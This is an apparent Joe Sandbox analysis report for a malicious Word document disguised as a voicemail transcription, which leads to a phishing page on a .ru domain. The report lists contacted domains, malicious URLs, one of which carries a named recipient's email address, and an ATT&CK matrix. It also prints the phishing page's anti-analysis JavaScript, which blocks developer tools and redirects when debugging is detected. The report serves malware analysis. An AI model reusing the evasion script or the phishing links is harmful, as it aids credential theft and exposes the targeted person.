Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru/awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT	0%	Avira URL Cloud	safe
https://pllu.gnoqwwhpwe.ru/3aeK/	100%	Avira URL Cloud	malware
https://idag2.jpmorganchase.com/favicon.ico	0%	Avira URL Cloud	safe
https://password.jpmchase.com/pce/otp	0%	Avira URL Cloud	safe
https://idag2.jpmorganchase.com/adfs/portal/css/OpenSans-VariableFont_wdth,wght.css	0%	Avira URL Cloud	safe
https://pllu.gnoqwwhpwe.ru/favicon.ico	100%	Avira URL Cloud	malware
https://idag2.jpmorganchase.com/adfs/portal/script/mfaotpsms.js	0%	Avira URL Cloud	safe
https://idag2.jpmorganchase.com/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE	0%	Avira URL Cloud	safe
https://idag2.jpmorganchase.com/adfs/fs/federationserverservice.asmx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
idag2.intl.gslbjpmchase.com	170.148.209.228	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.186.68	true	false	high
qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru	172.67.155.45	true	false	high
pllu.gnoqwwhpwe.ru	188.114.96.3	true	true	unknown
idag2.jpmorganchase.com	unknown	unknown	true	unknown
www.office.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pllu.gnoqwwhpwe.ru/3aeK/	true	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://pllu.gnoqwwhpwe.ru/favicon.ico	true	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://idag2.jpmorganchase.com/adfs/portal/css/OpenSans-VariableFont_wdth,wght.css	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp	false		high
https://idag2.jpmorganchase.com/adfs/portal/script/mfaotpsms.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ffe977e4cfef78d/1736532291987/2b8f3c0d63c30527a2f21b4e3f221afc289a4658e27b6d2ec697f70f760bb6dd/-FuElFTzHV5fb2e	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru/awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT	false	Avira URL Cloud: safe	unknown
https://idag2.jpmorganchase.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://idag2.jpmorganchase.com/adfs/fs/federationserverservice.asmx	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffe977e4cfef78d&lang=auto	false		high
https://idag2.jpmorganchase.com/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE	false	Avira URL Cloud: safe	unknown
https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@lcatterton.com	true		unknown
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ffe977e4cfef78d/1736532291986/Ej-fINSRsm2htnA	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721291067199872.M2M1YWZmMGItZjFiMi00YTcwLThkYTgtNjY4MDNjMDU1MmEyZGM1MzU2NjUtMTBmNy00OWI5LTlkNjAtYzZiYmQ4M2VhNzI4&ui_locales=en-US&mkt=en-US&client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&state=F1yZQXUOyu4aL3lqipMCIZdBdcMXG3M0-jgR6i5NaHvetvhiAIkqHUFkVztoMxQTrK7mJSuOQRSWhOevAFJw8pcyKVKAzNcj8_jMRdb1-a4fDbMgcuV9fCtQLTI9t5dnwZ2Yd6Y4Kghhj4_EUaiYHM92l8RVs3hlUr15Eb3y1TIUzVE68wKIeG1UlMKn5oT8okucVzqaT4LXN4t5mOuJXM4nC0VKidoQmXOULr7CCiZs99DbSk3A1VuyWDwlIgbbx04NhX1RVXKrvNb3dn7xWQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.microsoftonline.com	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://password.jpmchase.com/pce/otp	chromecache_128.5.dr, chromecache_127.5.dr	false	Avira URL Cloud: safe	unknown
https://login.windows-ppe.net	chromecache_110.5.dr, chromecache_121.5.dr	false		high
http://scripts.sil.org/OFLThis	chromecache_125.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
172.67.155.45	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
170.148.240.44	unknown	United States	32066	JPMORGANCHASE-DALLAS-JIPUS	false
170.148.209.228	idag2.intl.gslbjpmchase.com	United States	32066	JPMORGANCHASE-DALLAS-JIPUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	pllu.gnoqwwhpwe.ru	European Union	13335	CLOUDFLARENETUS	true
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.13
192.168.2.14

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587953
Start date and time:	2025-01-10 19:04:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Voicemail_+Transcription+_ATT006151.docx
Detection:	MAL
Classification:	mal60.troj.winDOCX@26/93@42/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .docx

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 52.111.236.32, 52.111.236.33, 52.111.236.35, 52.111.236.34, 142.250.185.227, 216.58.206.46, 108.177.15.84, 142.250.185.206, 142.250.184.238, 13.89.179.8, 2.20.245.216, 2.20.245.225, 142.250.184.206, 40.126.32.72, 40.126.32.133, 40.126.32.138, 40.126.32.74, 40.126.32.140, 40.126.32.76, 40.126.32.68, 40.126.32.136, 142.250.186.174, 13.107.6.156, 142.250.186.46, 20.190.159.23, 20.190.159.68, 20.190.159.0, 40.126.31.67, 40.126.31.71, 20.190.159.2, 20.190.159.64, 20.190.159.4, 13.89.179.13, 20.190.159.73, 20.190.159.71, 142.250.184.234, 172.217.16.202, 172.217.18.10, 142.250.186.138, 172.217.18.106, 142.250.185.106, 216.58.206.42, 172.217.16.138, 216.58.206.74, 142.250.185.74, 142.250.186.74, 142.250.74.202, 172.217.23.106, 142.250.186.42, 142.250.185.138, 142.250.185.170, 20.50.80.209, 142.250.186.78, 20.50.201.205, 172.217.23.110, 172.217.18.110, 20.189.173.18, 142.250.181.238, 172.217.16.195, 142.250.185.174, 2.19.126.146, 2.19.126.143, 40.
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, ak.privatelink.msidentity.com, clients2.google.com, onedscolprdaus02.australiasoutheast.cloudapp.azure.com, login.live.com, update.googleapis.com, officeclient.microsoft.com, templatesmetadata.office.net, ukw-azsc-config.officeapps.live.com, ecs.office.com, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, aadcdn.msauth.net, s-0005-office.config.skype.com, eu.events.data.trafficmanager.net, nleditor.osi.office.net, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, s-0005.s-msedge.net, aadcdnoriginwus2.afd.azureedge.net, metadata.templates.cdn.office.net, onedscolprdweu13.westeurope.cloudapp.azure.com, ecs.office.trafficmanager.net, clients.l.google.com, europe.configsvc1.live.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net, eu-mobile.events.data.microsoft.com, onedscolprdneu02.northeurope.cloudapp.azure.com, templatesmetadat
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Source	URL
Screenshot	https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@lcatterton.com

LLM Input / Output

Input	Output
URL: https://jpmorganchase.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://jpmorganchase.com
URL: https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The script also uses a technique to detect and trigger a debugger, which could be used to evade analysis. Overall, this script demonstrates malicious intent and poses a significant security risk." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); MuGKfXncPR = false; (function lEgFtrgpaC() { let rMeQSoVlyh = false; const kMXQUPTkoC = 100; setInterval(function() { const SCwsOhlAHT = performance.now(); debugger; const uTCHBrVxVc = performance.now(); if (uTCHBrVxVc - SCwsOhlAHT > kMXQUPTkoC && !rMeQSoVlyh) { MuGKfXncPR = true; rMeQSoVlyh = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent." }
